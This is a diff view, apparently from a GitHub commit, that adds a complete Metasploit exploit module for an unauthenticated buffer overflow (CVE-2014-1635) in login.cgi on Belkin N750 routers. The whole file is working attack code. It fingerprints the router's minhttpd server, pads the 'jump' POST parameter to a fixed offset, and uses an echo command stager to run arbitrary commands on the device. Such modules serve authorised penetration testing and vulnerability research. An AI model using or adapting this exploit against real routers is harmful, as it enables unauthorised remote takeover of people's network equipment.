|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ManualRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Belkin login.cgi Buffer Overflow (minhttpd)', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a remote buffer overflow vulnerability on several Belkin routers. |
| 19 | + The vulnerability exists in the handling of HTTP queries to the login.cgi with |
| 20 | + long jump values. The vulnerability can be exploitable without authentication. |
| 21 | + This module was tested in an emulated environment only. Several Belkin routers with |
| 22 | + firmware 1.10.16.m are affected. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and initial Metasploit module (telnetd) |
| 27 | + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module with echo stager |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Platform' => ['linux'], |
| 31 | + 'Arch' => ARCH_MIPSLE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['CVE', '2014-1635'], |
| 35 | + ['EDB', '35184'], |
| 36 | + ['BID', '70977'], |
| 37 | + ['OSVDB', '114345'], |
| 38 | + ['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'], #advisory |
| 39 | + ['URL', 'http://www.belkin.com/us/support-article?articleNum=4831'] #vendor site with update |
| 40 | + ], |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m', |
| 44 | + { |
| 45 | + 'Offset' => 1379, |
| 46 | + } |
| 47 | + ] |
| 48 | + ], |
| 49 | + 'DefaultOptions' => { |
| 50 | + 'RPORT' => 8080 |
| 51 | + }, |
| 52 | + 'DisclosureDate' => 'May 09 2014', |
| 53 | + 'DefaultTarget' => 0)) |
| 54 | + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') |
| 55 | + end |
| 56 | + |
| 57 | + def check |
| 58 | + begin |
| 59 | + res = send_request_cgi({ |
| 60 | + 'method' => 'GET', |
| 61 | + 'uri' => "/" |
| 62 | + }) |
| 63 | + |
| 64 | + if res && [200, 301, 302].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /minhttpd/ and res.body =~ /u_errpaswd/ |
| 65 | + return Exploit::CheckCode::Detected |
| 66 | + end |
| 67 | + rescue ::Rex::ConnectionError |
| 68 | + return Exploit::CheckCode::Unknown |
| 69 | + end |
| 70 | + |
| 71 | + Exploit::CheckCode::Unknown |
| 72 | + end |
| 73 | + |
| 74 | + def exploit |
| 75 | + print_status("#{peer} - Accessing the vulnerable URL...") |
| 76 | + |
| 77 | + unless check == Exploit::CheckCode::Detected |
| 78 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") |
| 79 | + end |
| 80 | + |
| 81 | + print_status("#{peer} - Exploiting...") |
| 82 | + execute_cmdstager( |
| 83 | + :flavor => :echo, |
| 84 | + :linemax => 200, |
| 85 | + :concat_operator => " %3b " |
| 86 | + ) |
| 87 | + end |
| 88 | + |
| 89 | + def prepare_shellcode(cmd) |
| 90 | + shellcode = rand_text_alpha_upper(target['Offset']) # padding |
| 91 | + shellcode << "e" << cmd |
| 92 | + shellcode << "\n\n" |
| 93 | + end |
| 94 | + |
| 95 | + def execute_command(cmd, opts) |
| 96 | + shellcode = prepare_shellcode(cmd) |
| 97 | + begin |
| 98 | + res = send_request_cgi({ |
| 99 | + 'method' => 'POST', |
| 100 | + 'uri' => "/login.cgi", |
| 101 | + 'encode_params' => false, |
| 102 | + 'vars_post' => { |
| 103 | + 'GO' => '', |
| 104 | + 'jump' => shellcode, |
| 105 | + } |
| 106 | + }) |
| 107 | + return res |
| 108 | + rescue ::Rex::ConnectionError |
| 109 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 110 | + end |
| 111 | + end |
| 112 | +end |
0 commit comments